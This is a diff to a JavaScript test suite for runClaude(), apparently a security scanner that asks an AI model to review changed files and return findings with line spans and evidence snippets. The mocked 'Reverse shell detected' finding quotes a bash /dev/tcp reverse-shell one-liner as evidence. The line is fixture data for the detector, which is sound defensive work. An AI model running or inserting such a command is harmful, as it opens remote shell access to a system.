@@ -109,10 +109,14 @@ describe('runClaude()', () => {
109109 mockReadFile . mockResolvedValueOnce ( DUMMY_CONTENT ) ;
110110 mockCreate . mockResolvedValueOnce ( findingResponse ( [ {
111111 file : 'src/app.js' ,
112- line : 42 ,
112+ startLine : 42 ,
113+ endLine : 42 ,
114+ anchorKind : 'line' ,
115+ anchorLine : 42 ,
113116 severity : 'high' ,
114117 message : 'Reverse shell detected' ,
115118 ruleId : 'reverse-shell' ,
119+ evidence : 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' ,
116120 } ] ) ) ;
117121
118122 const findings = await runClaude ( {
@@ -125,8 +129,13 @@ describe('runClaude()', () => {
125129 expect ( findings [ 0 ] ) . toMatchObject ( {
126130 file : 'src/app.js' ,
127131 line : 42 ,
132+ startLine : 42 ,
133+ endLine : 42 ,
134+ anchorKind : 'line' ,
135+ anchorLine : 42 ,
128136 severity : 'high' ,
129137 message : 'Reverse shell detected' ,
138+ evidence : 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' ,
130139 ruleId : 'claude/reverse-shell' ,
131140 tool : 'claude' ,
132141 } ) ;
@@ -135,8 +144,8 @@ describe('runClaude()', () => {
135144 it ( 'returns multiple findings' , async ( ) => {
136145 mockReadFile . mockResolvedValue ( DUMMY_CONTENT ) ;
137146 mockCreate . mockResolvedValueOnce ( findingResponse ( [
138- { file : 'a.js' , line : 1 , severity : 'high' , message : 'bad' , ruleId : 'r1' } ,
139- { file : 'b.js' , line : 2 , severity : 'medium' , message : 'meh' , ruleId : 'r2' } ,
147+ { file : 'a.js' , startLine : 1 , endLine : 1 , severity : 'high' , message : 'bad' , ruleId : 'r1' , evidence : 'bad ' } ,
148+ { file : 'b.js' , startLine : 2 , endLine : 3 , severity : 'medium' , message : 'meh' , ruleId : 'r2' , evidence : 'meh ' } ,
140149 ] ) ) ;
141150
142151 const findings = await runClaude ( {
@@ -146,6 +155,8 @@ describe('runClaude()', () => {
146155 } ) ;
147156
148157 expect ( findings ) . toHaveLength ( 2 ) ;
158+ expect ( findings [ 0 ] . startLine ) . toBe ( 1 ) ;
159+ expect ( findings [ 1 ] . endLine ) . toBe ( 3 ) ;
149160 expect ( findings [ 0 ] . ruleId ) . toBe ( 'claude/r1' ) ;
150161 expect ( findings [ 1 ] . ruleId ) . toBe ( 'claude/r2' ) ;
151162 } ) ;
@@ -272,4 +283,46 @@ describe('runClaude()', () => {
272283
273284 expect ( mockCreate ) . toHaveBeenCalledTimes ( 1 ) ;
274285 } ) ;
286+
287+ it ( 'numbers file lines and includes changed line ranges in the prompt' , async ( ) => {
288+ mockReadFile . mockResolvedValueOnce ( 'first();\nsecond();' ) ;
289+ mockCreate . mockResolvedValueOnce ( cleanResponse ( ) ) ;
290+
291+ await runClaude ( {
292+ workspacePath : WORKSPACE ,
293+ changedFiles : CHANGED_FILES ,
294+ changedLineRanges : { 'src/app.js' : [ { start : 2 , end : 2 } ] } ,
295+ toolConfig : ENABLED_CONFIG ,
296+ } ) ;
297+
298+ const callArgs = mockCreate . mock . calls [ 0 ] [ 0 ] ;
299+ const userContent = callArgs . messages [ 0 ] . content ;
300+ expect ( callArgs . system ) . toContain ( 'copy a short exact evidence snippet verbatim' ) ;
301+ expect ( callArgs . system ) . toContain ( 'Do not guess locations' ) ;
302+ expect ( userContent ) . toContain ( 'Changed lines in this PR: 2-2' ) ;
303+ expect ( userContent ) . toContain ( '1 | first();' ) ;
304+ expect ( userContent ) . toContain ( '2 | second();' ) ;
305+ } ) ;
306+
307+ it ( 'accepts legacy line-only findings and normalizes them into spans' , async ( ) => {
308+ mockReadFile . mockResolvedValueOnce ( DUMMY_CONTENT ) ;
309+ mockCreate . mockResolvedValueOnce ( findingResponse ( [ {
310+ file : 'src/app.js' ,
311+ line : 7 ,
312+ severity : 'high' ,
313+ message : 'legacy shape' ,
314+ ruleId : 'legacy' ,
315+ evidence : 'console.log("hello");' ,
316+ } ] ) ) ;
317+
318+ const [ finding ] = await runClaude ( {
319+ workspacePath : WORKSPACE ,
320+ changedFiles : CHANGED_FILES ,
321+ toolConfig : ENABLED_CONFIG ,
322+ } ) ;
323+
324+ expect ( finding . line ) . toBe ( 7 ) ;
325+ expect ( finding . startLine ) . toBe ( 7 ) ;
326+ expect ( finding . endLine ) . toBe ( 7 ) ;
327+ } ) ;
275328} ) ;
0 commit comments